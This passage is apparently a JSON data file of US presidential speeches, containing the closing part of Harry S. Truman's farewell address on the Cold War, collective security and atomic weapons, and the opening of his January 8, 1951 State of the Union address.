World War II\nhad left within their grasp.The difference stares at us from the map of Europe today. To the west of\nthe line that tragically divides Europe we see nations continuing to act\nand live in the light of their own traditions and principles. On the other\nside, we see the dead uniformity of a tyrannical system imposed by the\nrulers of the Soviet Union. Nothing could point up more clearly what the\nglobal struggle between the free world and the communists is all about.It is a struggle as old as recorded history; it is freedom versus tyranny.For the dominant idea of the Soviet regime is the terrible conception that\nmen do not have rights but live at the mercy of the state.Inevitably this idea of theirs--and all the consequences flowing from\nit--collided with the efforts of free nations to build a just and peaceful\nworld. The \"cold war\" between the communists and the free world is nothing\nmore or less than the Soviet attempt to checkmate and defeat our peaceful\npurposes, in furtherance of their own dread objective.We did not seek this struggle, God forbid. We did our utmost to avoid it.\nIn World War II, we and the Russians had fought side by side, each in our\nturn attacked and forced to combat by the aggressors. After the war, we\nhoped that our wartime collaboration could be maintained, that the\nfrightful experience of Nazi invasion, of devastation in the heart of\nRussia, had turned the Soviet rulers away from their old proclaimed\nallegiance to world revolution and communist dominion. But instead, they\nviolated, one by one, the solemn agreements they had made with us in\nwartime. They sought to use the rights and privileges they had obtained in\nthe United Nations, to frustrate its purposes and cut down its powers as an\neffective agent of world progress and the keeper of the world's peace.Despite this outcome, the efforts we made toward peaceful collaboration are\na source of our present strength. They demonstrated that we believed what\nwe proclaimed, that we actually sought honest agreements as the way to\npeace. Our whole moral position, our leadership in the free world today, is\nfortified by that fact.The world is divided, not through our fault or failure, but by Soviet\ndesign. They, not we, began the cold war. And because the free world saw\nthis happen because men know we made the effort and the Soviet rulers\nspurned it--the free nations have accepted leadership from our Republic, in\nmeeting and mastering the Soviet offensive.It seems to me especially important that all of us be clear, in our own\nthinking, about the nature of the threat we have faced-and will face for a\nlong time to come. The measures we have devised to meet it take shape and\npattern only as we understand what we were--and are--up against.The Soviet Union occupies a territory of 8 million square miles. Beyond its\nborders, East and West, are the nearly five million square miles of the\nsatellite states--virtually incorporated into the Soviet Union--and of\nChina, now its close partner. This vast land mass contains an enormous\nstore of natural resources sufficient to support an economic development\ncomparable to our own.That is the Stalinist world. It is a world of great natural diversity in\ngeography and climate, in distribution of resources, in population,\nlanguage, and living standards, in economic and cultural development. It is\na world whose people are not all convinced communists by any means. It is a\nworld where history and national traditions, particularly in its\nborderlands, tend more toward separation than unification, and run counter\nto the enforced combination that has been made of these areas today.But it is also a world of great man-made uniformities, a world that bleeds\nits population white to build huge military forces; a world in which the\npolice are everywhere and their authority unlimited; a world where terror\nand slavery are deliberately administered both as instruments of government\nand as means of production; a world where all effective social power is the\nstate's monopoly--yet the state itself is the creature of the communist\ntyrants.The Soviet Union, with its satellites, and China are held in the tight grip\nof communist party chieftains. The party dominates all social and political\ninstitutions. The party regulates and centrally directs the whole economy.\nIn Moscow's sphere, and in Peiping's, all history, philosophy, morality and\nlaw are centrally established by rigid dogmas, incessantly drummed into the\nwhole population and subject to interpretation--or to change by none except\nthe party's own inner circle.And lest their people learn too much of other ways of life, the communists\nhave walled off their world, deliberately and uniformly, from the rest of\nhuman society.That is the communist base of operation in-their cold war. In addition,\nthey have at their command hundreds and thousands of dedicated foreign\ncommunists, people in nearly every free country who will serve Moscow's\nends. Thus the masters of the Kremlin are provided with deluded followers\nall through the free world whom they can manipulate, cynically and quite\nruthlessly, to serve the purposes of the Soviet state.Given their vast internal base of operations, and their agents in foreign\nlands, what are the communist rulers trying to do?Inside their homeland, the communists are trying to maintain and modernize\nhuge military forces. And simultaneously, they are endeavoring to weld\ntheir whole vast area and population into a completely self-contained,\nadvanced industrial society. They aim, some day, to equal or better the\nproduction levels of Western Europe and North America combined--thus\nshifting the balance of world economic power, and war potential, to their\nside.They have a long way to go and they know it. But they are prepared to levy\nupon living generations any sacrifice that helps strengthen their armed\npower, or speed industrial development.Externally, the communist rulers are trying to expand the boundaries of\ntheir world, whenever and wherever they can. This expansion they have\npursued steadfastly since the close of World War II, using any means\navailable to them.Where the Soviet army was present, as in the countries of Eastern Europe,\nthey have gradually squeezed free institutions to death.Where post-war chaos existed in industrialized nations, as in Western\nEurope, the local Stalinists tried to gain power through political\nprocesses, politically-inspired strikes, and every available means for\nsubverting free institutions to their evil ends.Where conditions permitted, the Soviet rulers have stimulated and aided\narmed insurrection by communist-led revolutionary forces, as in Greece,\nIndo-China, the Philippines, and China, or outright aggression by one of\ntheir satellites, as in Korea.Where the forces of nationalism, independence, and economic change were at\nwork throughout the great sweep of Asia and Africa, the communists tried to\nidentify themselves with the cause of progress, tried to picture themselves\nas the friends of freedom and advancement--surely one of the most cynical\nefforts of which history offers record.Thus, everywhere in the free world, the communists seek to fish in troubled\nwaters, to seize more countries, to enslave more millions of human souls.\nThey were, and are, ready to ally themselves with any group, from the\nextreme left to the extreme right, that offers them an opportunity to\nadvance their ends.Geography gives them a central position. They are both a European and an\nAsian power, with borders touching many of the most sensitive and vital\nareas in the free world around them. So situated, they can use their armies\nand their economic power to set up simultaneously a whole series of\nthreats--or inducements--to such widely dispersed places as Western\nGermany, Iran, and Japan. These pressures and attractions can be sustained\nat will, or quickly shifted from place to place.Thus the communist rulers are moving, with implacable will, to create\ngreater strength in their vast empire, and to create weakness and division\nin the free world, preparing for the time their false creed teaches them\nmust come: the time when the whole world outside their sway will be so torn\nby strife and contradictions that it will be ripe for the communist\nplucking.This is the heart of the distorted Marxist interpretation of history. This\nis the glass through which Moscow and Peiping look out upon the world, the\nglass through which they see the rest of us. They seem really to believe\nthat history is on their side. And they are trying to boost \"history\"\nalong, at every opportunity, in every way they can.I have set forth here the nature of the communist menace confronting our\nRepublic and the whole free world. This is the measure of the challenge we\nhave faced since World War II--a challenge partly military and partly\neconomic, partly moral and partly intellectual, confronting us at every\nlevel of human endeavor and all around the world.It has been and must be the free world's purpose not only to organize\ndefenses against aggression and subversion, not only to build a structure\nof resistance and salvation for the community of nations outside the iron\ncurtain, but in addition to give expression and opportunity to the forces\nof growth and progress in the free world, to so organize and unify the\ncooperative community of free men that we will not crumble but grow\nstronger over the years, and the Soviet empire, not the free world, will\neventually have to change its ways or fall.Our whole program of action to carry out this purpose has been directed to\nmeet two requirements.The first of these had to do with security. Like the pioneers who settled\nthis great continent of ours, we have had to carry a musket while we went\nabout our peaceful business. We realized that if we and our allies did not\nhave military strength to meet the growing Soviet military threat, we would\nnever have the opportunity to carry forward our efforts to build a peaceful\nworld of law and order--the only environment in which our free institutions\ncould survive and flourish.Did this mean we had to drop everything else and concentrate on armies and\nweapons? Of course it did not: side-by-side with this urgent military\nrequirement, we had to continue to help create conditions of economic and\nsocial progress in the world. This work had to be carried forward alongside\nthe first, not only in order to meet the non-military aspects of the\ncommunist drive for power, but also because this creative effort toward\nhuman progress is essential to bring about the kind of world we as free men\nwant to live in.These two requirements--military security and human progress--are more\nclosely related in action than we sometimes recognize. Military security\ndepends upon a strong economic underpinning and a stable and hopeful\npolitical order; conversely, the confidence that makes for economic and\npolitical progress does not thrive in areas that are vulnerable to military\nconquest.These requirements are related in another way. Both of them depend upon\nunity of action among the free nations of the world. This, indeed, has been\nthe foundation of our whole effort, for the drawing together of the free\npeople of the world has become a condition essential not only to their\nprogress, but to their survival as free people.This is the conviction that underlies all the steps we have been taking to\nstrengthen and unify the free nations during the past seven years.What have these steps been? First of all, how have we gone about meeting\nthe requirement of providing for our security against this world-wide\nchallenge?Our starting point, as I have said on many occasions, has been and remains\nthe United Nations.We were prepared, and so were the other nations of the free world, to place\nour reliance on the machinery of the United Nations to safeguard peace. But\nbefore the United Nations could give full expression to the concept of\ninternational security embodied in the Charter, it was essential that the\nfive permanent members of the Security Council honor their solemn pledge to\ncooperate to that end. This the Soviet Union has not done.I do not need to outline here the dreary record of Soviet obstruction and\nveto and the unceasing efforts of the Soviet representatives to sabotage\nthe United Nations. It is important, however, to distinguish clearly\nbetween the principle of collective security embodied in the Charter and\nthe mechanisms of the United Nations to give that principle effect. We must\nfrankly recognize that the Soviet Union has been able, in certain\ninstances, to stall the machinery of collective security. Yet it has not\nbeen able to impair the principle of collective security. The free nations\nof the world have retained their allegiance to that idea. They have found\nthe means to act despite the Soviet veto, both through the United Nations\nitself and through the application of this principle in regional and other\nsecurity arrangements that are fully in harmony with the Charter and give\nexpression to its purposes.The free world refused to resign itself to collective suicide merely\nbecause of the technicality of a Soviet veto.The principle of collective measures to forestall aggression has found\nexpression in the Treaty of Rio de Janeiro, the North Atlantic Treaty, now\nextended to include Greece and Turkey, and the several treaties we have\nconcluded to reinforce security in the Pacific area.But the free nations have not this time fallen prey to the dangerous\nillusion that treaties alone will stop an aggressor. By a series of\nvigorous actions, as varied as the nature of the threat, the free nations\nhave successfully thwarted aggression or the threat of aggression in many\ndifferent parts of the world.Our country has led or supported these collective measures. The aid we have\ngiven to people determined to act in defense of their freedom has often\nspelled the difference between success and failure.We all know what we have done, and I shall not review in detail the steps\nwe have taken. Each major step was a milepost in the developing unity,\nstrength and resolute will of the free nations.The first was the determined and successful effort made through the United\nNations to safeguard the integrity and independence of Iran in 1945 and\n1946.Next was our aid and support to embattled Greece, which enabled her to\ndefeat the forces threatening her national independence.In Turkey, cooperative action resulted in building up a bulwark of military\nstrength for an area vital to the defenses of the entire free world.In 1949, we began furnishing military aid to our partners in the North\nAtlantic Community and to a number of other free countries.The Soviet Union's threats against Germany and Japan, its neighbors to the\nWest and to the East, have been successfully withstood. Free Germany is on\nits way to becoming a member of the peaceful community of nations, and a\npartner in the common defense. The Soviet effort to capture Berlin by\nblockade was thwarted by the courageous Allied airlift. An independent and\ndemocratic Japan has been brought back into the community of free nations.In the Far East, the tactics of communist imperialism have reached heights\nof violence unmatched elsewhere--and the problem of concerted action by the\nfree nations has been at once more acute and more difficult.Here, in spite of outside aid and support, the free government of China\nsuccumbed to the communist assault. Our aid has enabled the free Chinese to\nrebuild and strengthen their forces on the island of Formosa. In other\nareas of the Far East-in Indo-China, Malaya, and the Philippines--our\nassistance has helped sustain a staunch resistance against communist\ninsurrectionary attacks.The supreme test, up to this point, of the will and determination of the\nfree nations came in Korea, when communist forces invaded the Republic of\nKorea, a state that was in a special sense under the protection of the\nUnited Nations. The response was immediate and resolute. Under our military\nleadership, the free nations for the first time took up arms, collectively,\nto repel aggression.Aggression was repelled, driven back, punished. Since that time, communist\nstrategy has seen fit to prolong the conflict, in spite of honest efforts\nby the United Nations to reach an honorable truce. The months of deadlock\nhave demonstrated that the communists cannot achieve by persistence, or by\ndiplomatic trickery, what they failed to achieve by sneak attack. Korea has\ndemonstrated that the free world has the will and the endurance to match\nthe communist effort to overthrow international order through local\naggression.It has been a bitter struggle and it has cost us much in brave lives and\nhuman suffering, but it has made it plain that the free nations will fight\nside by side, that they will not succumb to aggression or intimidation, one\nby one. This, in the final analysis, is the only way to halt the communist\ndrive to world power.At the heart of the free world's defense is the military strength of the\nUnited States.From 1945 to 1949, the United States was sole possessor of the atomic bomb.\nThat was a great deterrent and protection in itself.But when the Soviets produced an atomic explosion--as they were bound to do\nin time--we had to broaden the whole basis of our strength. We had to\nendeavor to keep our lead in atomic weapons. We had to strengthen our armed\nforces generally and to enlarge our productive capacity-our mobilization\nbase. Historically, it was the Soviet atomic explosion in the fall of 1949,\nnine months before the aggression in Korea, which stimulated the planning\nfor our program of defense mobilization.What we needed was not just a central force that could strike back against\naggression. We also needed strength along the outer edges of the free\nworld, defenses for our allies as well as for ourselves, strength to hold\nthe line against attack as well as to retaliate.We have made great progress on this task of building strong defenses. In\nthe last two and one half years, we have more than doubled our own\ndefenses, and we have helped to increase the protection of nearly all the\nother free nations.All the measures of collective security, resistance to aggression, and the\nbuilding of defenses, constitute the first requirement for the survival and\nprogress of the free world. But, as I have pointed out, they are interwoven\nwith the necessity of taking steps to create and maintain economic and\nsocial progress in the free nations. There can be no military strength\nexcept where there is economic capacity to back it. There can be no freedom\nwhere there is economic chaos or social collapse. For these reasons, our\nnational policy has included a wide range of economic measures.In Europe, the grand design of the Marshall Plan permitted the people of\nBritain and France and Italy and a half dozen other countries, with help\nfrom the United States, to lift themselves from stagnation and find again\nthe path of rising production, rising incomes, rising standards of living.\nThe situation was changed almost overnight by the Marshall Plan; the people\nof Europe have a renewed hope and vitality, and they are able to carry a\nshare of the military defense of the free world that would have been\nimpossible a few years ago.Now the countries of Europe are moving rapidly towards political and\neconomic unity, changing the map of Europe in more hopeful ways than it has\nbeen changed for 500 years. Customs unions, European economic institutions\nlike the Schuman Plan, the movement toward European political integration,\nthe European Defense Community-all are signs of practical and effective\ngrowth toward greater common strength and unity. The countries of Western\nEurope, including the free Republic of Germany are working together, and\nthe whole free world is the gainer.It sometimes happens, in the course of history, that steps taken to meet an\nimmediate necessity serve an ultimate purpose greater than may be apparent\nat the time. This, I believe, is the meaning of what has been going on in\nEurope under the threat of aggression. The free nations there, with our\nhelp, have been drawing together in defense of their free institutions. In\nso doing, they have laid the foundations of a unity that will endure as a\nmajor creative force beyond the exigencies of this period of history. We\nmay, at this close range, be but dimly aware of the creative surge this\nmovement represents, but I believe it to be of historic importance. I\nbelieve its benefits will survive long after communist tyranny is nothing\nbut an unhappy memory.In Asia and Africa, the economic and social problems are different but no\nless urgent. There hundreds of millions of people are in ferment, exploding\ninto the twentieth century, thrusting toward equality and independence and\nimprovement in the hard conditions of their lives.Politically, economically, socially, things cannot and will not stay in\ntheir pre-war mold in Africa and Asia. Change must come--is coming--fast.\nJust in the years I have been President, 12 free nations, with more than\n600 million people, have become independent: Burma, Indonesia, the\nPhilippines, Korea, Israel, Libya, India, Pakistan and Ceylon, and the\nthree Associated States of Indo-China, now members of the French Union.\nThese names alone are testimony to the sweep of the great force which is\nchanging the face of half the world.Working out new relationships among the peoples of the free world would not\nbe easy in the best of times. Even if there were no Communist drive for\nexpansion, there would be hard and complex problems of transition from old\nsocial forms, old political arrangements, old economic institutions to the\nnew ones our century demands--problems of guiding change into constructive\nchannels, of helping new nations grow strong and stable. But now, with the\nSoviet rulers striving to exploit this ferment for their own purposes, the\ntask has become harder and more urgent--terribly urgent.In this situation, we see the meaning and the importance of the Point IV\nprogram, through which we can share our store of know-how and of capital to\nhelp these people develop their economies and reshape their societies. As\nwe help Iranians to raise more grain, Indians to reduce the incidence of\nmalaria, Liberians to educate their children better, we are at once helping\nto answer the desires of the people for advancement, and demonstrating the\nsuperiority of freedom over communism. There will be no quick solution for\nany of the difficulties of the new nations of Asia and Africa--but there\nmay be no solution at all if we do not press forward with full energy to\nhelp these countries grow and flourish in freedom and in cooperation with\nthe rest of the free world.Our measures of economic policy have already had a tremendous effect on the\ncourse of events. Eight years ago, the Kremlin thought post-war collapse in\nWestern Europe and Japan--with economic dislocation in America--might give\nthem the signal to advance. We demonstrated they were wrong. Now they wait\nwith hope that the economic recovery of the free world has set the stage\nfor violent and disastrous rivalry among the economically developed\nnations, struggling for each other's markets and a greater share of trade.\nHere is another test that we shall have to meet and master in the years\nimmediately ahead. And it will take great ingenuity and effort--and much\ntime--before we prove the Kremlin wrong again. But we can do it. It is true\nthat economic recovery presents its problems, as does economic decline, but\nthey are problems of another order. They are the problems of distributing\nabundance fairly, and they can be solved by the process of international\ncooperation that has already brought us so far.These are the measures we must continue. This is the path we must follow.\nWe must go on, working with our free associates, building an international\nstructure for military defense, and for economic, social, and political\nprogress. We must be prepared for war, because war may be thrust upon us.\nBut the stakes in our search for peace are immensely higher than they have\never been before.For now we have entered the atomic age, and war has undergone a\ntechnological change which makes it a very different thing from what it\nused to be. War today between the Soviet empire and the free nations might\ndig the grave not only of our Stalinist opponents, but of our own society,\nour world as well as theirs.This transformation has been brought to pass in the seven years from\nAlamogordo to Eniwetok. It is only seven years, but the new force of atomic\nenergy has turned the world into a very different kind of place.Science and technology have worked so fast that war's new meaning may not\nyet be grasped by all the .peoples who would be its victims; nor, perhaps,\nby the rulers in the Kremlin. But I have been President of the United\nStates, these seven years, responsible for the decisions which have brought\nour science and our engineering to their present place. I know what this\ndevelopment means now. I know something of what it will come to mean in the\nfuture.We in this Government realized, even before the first successful atomic\nexplosion, that this new force spelled terrible danger for all mankind\nunless it were brought under international control. We promptly advanced\nproposals in the United Nations to take this new source of energy out of\nthe arena of national rivalries, to make it impossible to use it as a\nweapon of war. These proposals, so pregnant with benefit for all humanity,\nwere rebuffed by the rulers of the Soviet Union.The language of science is universal, the movement of science is always\nforward into the unknown. We could not assume that the Soviet Union would\nnot develop the same weapon, regardless of all our precautions, nor that\nthere were not other and even more terrible means of destruction lying in\nthe unexplored field of atomic energy.We had no alternative, then, but to press on, to probe the secrets of\natomic power to the uttermost of our capacity, to maintain, if we could,\nour initial superiority in the atomic field. At the same time, we sought\npersistently for some avenue, some formula, for reaching an agreement with\nthe Soviet rulers that would place this new form of power under effective\nrestraints--that would guarantee no nation would use it in war. I do not\nhave to recount here the proposals we made, the steps taken in the United\nNations, striving at least to open a way to ultimate agreement. I hope and\nbelieve that we will continue to make these efforts so long as there is the\nslightest possibility of progress. All civilized nations are agreed on the\nurgency of the problem, and have shown their willingness to agree on\neffective measures of control--all save the Soviet Union and its\nsatellites. But they have rejected every reasonable proposal.Meanwhile, the progress of scientific experiment has outrun our\nexpectations. Atomic science is in the full tide of development; the\nunfolding of the innermost secrets of matter is uninterrupted and\nirresistible. Since Alamogordo we have developed atomic weapons with many\ntimes the explosive force of the early models, and we have produced them in\nsubstantial quantities. And recently, in the thermonuclear tests at\nEniwetok, we have entered another stage in the world-shaking development of\natomic energy. From now on, man moves into a new era of destructive power,\ncapable of creating explosions of a new order of magnitude, dwarfing the\nmushroom clouds of Hiroshima and Nagasaki.We have no reason to think that the stage we have now reached in the\nrelease of atomic energy will be the last. Indeed, the speed of our\nscientific and technical progress over the last seven years shows no signs\nof abating. We are being hurried forward, in our mastery of the atom, from\none discovery to another, toward yet unforeseeable peaks of destructive\npower.Inevitably, until we can reach international agreement, this is the path we\nmust follow. And we must realize that no advance we make is unattainable by\nothers, that no advantage in this race can be more than temporary.The war of the future would be one in which man could extinguish millions\nof lives at one blow, demolish the great cities of the world, wipe out the\ncultural achievements of the past--and destroy the very structure of a\ncivilization that has been slowly and painfully built up through hundreds\nof generations.Such a war is not a possible policy for rational men. We know this, but we\ndare not assume that others would not yield to the temptation science is\nnow placing in their hands.With that in mind, there is something I would say, to Stalin: You claim\nbelief in Lenin's prophecy that one stage in the development of communist\nsociety would be war between your world and ours. But Lenin was a\npre-atomic man, who viewed society and history with pre-atomic eyes.\nSomething profound has happened since he wrote. War has changed its shape\nand its dimension. It cannot now be a \"stage\" in the development of\nanything save ruin for your regime and your homeland.I do not know how much time may elapse before the communist rulers bring\nthemselves to recognize this truth. But when they do, they will find us\neager to reach understandings that will protect the world from the danger\nit faces today.It is no wonder that some people wish that we had never succeeded in\nsplitting the atom. But atomic power, like any other force of nature, is\nnot evil in itself. Properly used, it is an instrumentality for human\nbetterment. As a source of power, as a tool of scientific inquiry, it has\nuntold possibilities. We are already making good progress in the\nconstructive use of atomic power. We could do much more if we were free to\nconcentrate on its peaceful uses exclusively.Atomic power will be with us all the days of our lives. We cannot legislate\nit out of existence. We cannot ignore the dangers or the benefits it\noffers.I believe that man can harness the forces of the atom to work for the\nimprovement of the lot of human beings everywhere. That is our goal. As a\nnation, as a people, we must understand this problem, we must handle this\nnew force wisely through our democratic processes. Above all, we must\nstrive, in all earnestness and good faith, to bring it under effective\ninternational control. To do this will require much wisdom and patience and\nfirmness. The awe-inspiring responsibility in this field now falls on a new\nAdministration and a new Congress. I will give them my support, as I am\nsure all our citizens will, in whatever constructive steps they may take to\nmake this newest of man's discoveries a source of good and not of ultimate\ndestruction.We cannot tell when or whether the attitude of the Soviet rulers may\nchange. We do not know how long it may be before they show a willingness to\nnegotiate effective control of atomic energy and honorable settlements of\nother world problems. We cannot measure how deep-rooted are the Kremlin's\nillusions about us. We can be sure, however, that the rulers of the\ncommunist world will not change their basic objectives lightly or soon.The communist rulers have a sense of time about these things wholly unlike\nour own. We tend to divide our future into short spans, like the two-year\nlife of this Congress, or the four years of the next Presidential term.\nThey seem to think and plan in terms of generations. And there is,\ntherefore, no easy, short-run way to make them see that their plans cannot\nprevail.This means there is ahead of us a long hard test of strength and stamina,\nbetween the free world and the communist domain-our politics and our\neconomy, our science and technology against the best they can do--our\nliberty against their slavery--our voluntary concert Of free nations\nagainst their forced amalgam of \"people's republics\"--our strategy against\ntheir strategy-our nerve against their nerve.Above all, this is a test of the will and the steadiness of the people of\nthe United States.There has been no challenge like this in the history of our Republic. We\nare called upon to rise to the occasion, as no people before us.What is required of us is not easy. The way we must learn to live, the\nworld we have to live in, cannot be so pleasant, safe or simple as most of\nus have known before, or confidently hoped to know.Already we have had to sacrifice a number of accustomed ways of working and\nof living, much nervous energy, material resources, even human life. Yet if\none thing is certain in our future, it is that more sacrifice still lies\nahead.Were we to grow discouraged now, were we to weaken and slack off, the whole\nstructure we have built, these past eight years, would come apart and fall\naway. Never then, no matter by what stringent means, could our free world\nregain the ground, the time, the sheer momentum, lost by such a move. There\ncan and should be changes and improvements in our programs, to meet new\nsituations, serve new needs. But to desert the spirit of our basic\npolicies, to step back from them now, would surely start the free world's\nslide toward the darkness that the communists have prophesied-toward the\nmoment for which they watch and wait.If we value our freedom and our way of life and want to see them safe, we\nmust meet the challenge and accept its implications, stick to our guns and\ncarry out our policies.I have set out the basic conditions, as I see them, under which we have\nbeen working in the world, and the nature of our basic policies. What,\nthen, of the future? The answer, I believe, is this: As we continue to\nconfound Soviet expectations, as our world grows stronger, more united,\nmore attractive to men on both sides of the iron curtain, then inevitably\nthere will come a time of change within the communist world. We do not know\nhow that change will come about, whether by deliberate decision in the\nKremlin, by coup d'etat, by revolution, by defection of satellites, or\nperhaps by some unforeseen combination of factors such as these.But if the communist rulers understand they cannot win by war, and if we\nfrustrate their attempts to win by subversion, it is not too much to expect\ntheir world to change its character, moderate its aims, become more\nrealistic and less implacable, and recede from the cold war they began.Do not be deceived by the strong face, the look of monolithic power that\nthe communist dictators wear before the outside world. Remember their power\nhas no basis in consent. Remember they are so afraid of the free world's\nideas and ways of life, they do not dare to let their people know about\nthem. Think of the massive effort they put forth to try to stop our\nCampaign of Truth from reaching their people with its message of freedom.The masters of the Kremlin live in fear their power and position would\ncollapse were their own people to acquire knowledge, information,\ncomprehension about our free society. Their world has many elements of\nstrength, but this one fatal flaw: the weakness represented by their iron\ncurtain and their police state. Surely, a social order at once so insecure\nand so fearful, must ultimately lose its competition with our free\nsociety.Provided just one thing--and this I urge you to consider\ncarefully--provided that the free world retains the confidence and the\ndetermination to outmatch the best our adversary can accomplish and to\ndemonstrate for uncertain millions on both sides of the iron curtain the\nsuperiority of the free way of life.That is the test upon all the free nations; upon none more than our own\nRepublic.Our resources are equal to the task. We have the industry, the skills, the\nbasic economic strength. Above all, we have the vigor of free men in a free\nsociety. We have our liberties. And while we keep them, while we retain our\ndemocratic faith, the ultimate advantage in this hard competition lies with\nus, not with the communists.But there are some things that could shift the advantage to their side. One\nof the things that could defeat us is fear--fear of the task we face, fear\nof adjusting to it, fear that breeds more fear, sapping our faith,\ncorroding our liberties, turning citizen against citizen, ally against\nally. Fear could snatch away the very values we are striving to defend.Already the danger signals have gone up. Already the corrosive process has\nbegun. And every diminution of our tolerance, each new act of enforced\nconformity, each idle accusation, each demonstration of hysteria-each new\nrestrictive law--is one more sign that we can lose the battle against\nfear.The communists cannot deprive us of our liberties--fear can. The communists\ncannot stamp out our faith in human dignity-fear can. Fear is an enemy\nwithin ourselves, and if we do not root it out, it may destroy the very way\nof life we are so anxious to protect.To beat back fear, we must hold fast to our heritage as free men. We must\nrenew our confidence in one another, our tolerance, our sense of being\nneighbors, fellow citizens. We must take our stand on the Bill of Rights.\nThe inquisition, the star chamber, have no place in a free society.Our ultimate strength lies, not alone in arms, but in the sense of moral\nvalues and moral truths that give meaning and vitality to the purposes of\nfree people. These values are our faith, our inspiration, the source of our\nstrength and our indomitable determination.We face hard tasks, great dangers. But we are Americans and we have faced\nhardships and uncertainty before, we have adjusted before to changing\ncircumstances. Our whole history has been a steady training for the work it\nis now ours to do.No one can lose heart for the task, none can lose faith in our free ways,\nwho stops to remember where we began, what we have sought, and what\naccomplished, all together as Americans.I have lived a long time and seen much happen in our country. And I know\nout of my own experience, that we can do what must be done.When I think back to the country I grew up in--and then look at what our\ncountry has become--I am quite certain that having done so much, we can do\nmore.After all, it has been scarcely fifteen years since most Americans rejected\nout-of-hand the wise counsel that aggressors must be \"quarantined\". The\nvery concept of collective security, the foundation-stone of all our\nactions now, was then strange doctrine, shunned and set aside. Talk about\nadapting; talk about adjusting; talk about responding as a people to the\nchallenge of changed times and circumstances--there has never been a more\nspectacular example than this great change in America's outlook on the\nworld.Let all of us pause now, think back, consider carefully the meaning of our\nnational experience. Let us draw comfort from it and faith, and confidence\nin our future as Americans.The Nation's business is never finished. The basic questions we have been\ndealing with, these eight years past, present themselves anew. That is the\nway of our society. Circumstances change and current questions take on\ndifferent forms, new complications, year by year. But underneath, the great\nissues remain the same--prosperity, welfare, human rights, effective\ndemocracy, and above all, peace.Now we turn to the inaugural of our new President. And in the great work he\nis called upon to do he will have need for the support of a united people,\na confident people, with firm faith in one another and in our common cause.\nI pledge him my support as a citizen of our Republic, and I ask you to give\nhim yours.To him, to you, to all my fellow citizens, I say, Godspeed.May God bless our country and our cause.", 
+    "name": "Harry S. Truman"
+}
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+{
+    "date": "January 8, 1951", 
+    "speech": "Mr. President, Mr. Speaker, Members of the Congress:This 82d Congress faces as grave a task as any Congress in the history of\nour Republic. The actions you take will be watched by the whole world.\nThese actions will measure the ability of a free people, acting through\ntheir chosen representatives and their free institutions, to meet a deadly\nchallenge to their way of life.We can meet this challenge foolishly or wisely. We can meet it timidly or\nbravely, shamefully or honorably.I know that the 82d Congress will meet this challenge in a way worthy of\nour great heritage. I know that your debates will be earnest, responsible,\nconstructive, and to the point. I know that from these debates there will\ncome the great decisions needed to carry us forward.At this critical time, I am glad to say that our country is in a healthy\ncondition. Our democratic institutions are sound and strong. We have more\nmen and women at work than ever before. We are able to produce more than\never before--in fact, far more than any country ever produced in the\nhistory of the world.I am confident that we can succeed in the great task that lies before us.We will succeed, but we must all do our part. We must all act together as\ncitizens of this great Republic.As we meet here today, American soldiers are fighting a bitter campaign in\nKorea. We pay tribute to their courage, devotion, and gallantry.Our men are fighting, alongside their United Nations allies, because they\nknow, as we do, that the aggression in Korea is part of the attempt of the\nRussian Communist dictatorship to take over the world, step by step.Our men are fighting a long way from home, but they are fighting for our\nlives and our liberties. They are fighting to protect our right to meet\nhere today--our right to govern ourselves as a free nation.The threat of world conquest by Soviet Russia endangers our liberty and\nendangers the kind of world in which the free spirit of man can survive.\nThis threat is aimed at all peoples who strive to win or defend their own\nfreedom and national independence.Indeed, the state of our Nation is in great part the state of our friends\nand allies throughout the world. The gun that points at them points at us,\nalso. The threat is a total threat and the danger is a common danger.All free nations are exposed and all are in peril. Their only security lies\nin banding together. No one nation can find protection in a selfish search\nfor a safe haven from the storm.The free nations do not have any aggressive purpose. We want only peace in\nthe world--peace for all countries. No threat to the security of any nation\nis concealed in our plans and programs.We had hoped that the Soviet Union, with its security assured by the\nCharter of the United Nations, would be willing to live and let live. But I\nam sorry to say that has not been the case.The imperialism of the czars has been replaced by the even more ambitious,\nmore crafty, and more menacing imperialism of the rulers of the Soviet\nUnion.This new imperialism has powerful military forces. It is keeping millions\nof men under arms. It has a large air force and a strong submarine force.\nIt has complete control of the men and equipment of its satellites. It has\nkept its subject peoples and its economy in a state of perpetual\nmobilization.The present rulers of the Soviet Union have shown that they are willing to\nuse this power to destroy the free nations and win domination over the\nwhole world.The Soviet imperialists have two ways of going about their destructive\nwork. They use the method of subversion and internal revolution, and they\nuse the method of external aggression. In preparation for either of these\nmethods of attack, they stir up class strife and disorder. They encourage\nsabotage. They put out poisonous propaganda. They deliberately try to\nprevent economic improvement.If their efforts are successful, they foment a revolution, as they did in\nCzechoslovakia and China, and as they tried, unsuccessfully, to do in\nGreece. If their methods of subversion are blocked, and if they think they\ncan get away with outright warfare, they resort to external aggression.\nThis is what they did when they loosed the armies of their puppet states\nagainst the Republic of Korea, in an evil war by proxy.We of the free world must be ready to meet both of these methods of Soviet\naction. We must not neglect one or the other.The free world has power and resources to meet these two forms of\naggression--resources that are far greater than those of the Soviet\ndictatorship. We have skilled and vigorous peoples, great industrial\nstrength, and abundant sources of raw materials. And above all, we cherish\nliberty. Our common ideals are a great part of our strength. These ideals\nare the driving force of human progress.The free nations believe in the dignity and the worth of man.We believe in independence for all nations.We believe that free and independent nations can band together into a world\norder based on law. We have laid the cornerstone of such a peaceful world\nin the United Nations.We believe that such a world order can and should spread the benefits of\nmodern science and industry, better health and education, more food and\nrising standards of living--throughout the world.These ideals give our cause a power and vitality that Russian communism can\nnever command.The free nations, however, are bound together by more than ideals. They are\na real community bound together also by the ties of self-interest and\nself-preservation. If they should fall apart, the results would be fatal to\nhuman freedom.Our own national security is deeply involved with that of the other free\nnations. While they need our support, we equally need theirs. Our national\nsafety would be gravely prejudiced if the Soviet Union were to succeed in\nharnessing to its war machine the resources and the manpower of the free\nnations on the borders of its empire.If Western Europe were to fall to Soviet Russia, it would double the Soviet\nsupply of coal and triple the Soviet supply of steel. If the free countries\nof Asia and Africa should fall to Soviet Russia, we would lose the sources\nof many of our most vital raw materials, including uranium, which is the\nbasis of our atomic power. And Soviet command of the manpower of the free\nnations of Europe and Asia would confront us with military forces which we\ncould never hope to equal.In such a situation, the Soviet Union could impose its demands on the\nworld, without resort to conflict, simply through the preponderance of its\neconomic and military power. The Soviet Union does not have to attack the\nUnited States to secure domination of the world. It can achieve its ends by\nisolating us and swallowing up all our allies. Therefore, even if we were\ncraven enough I do not believe we could be--but, I say, even if we were\ncraven enough to abandon our ideals, it would be disastrous for us to\nwithdraw from the community of free nations.We are the most powerful single member of this 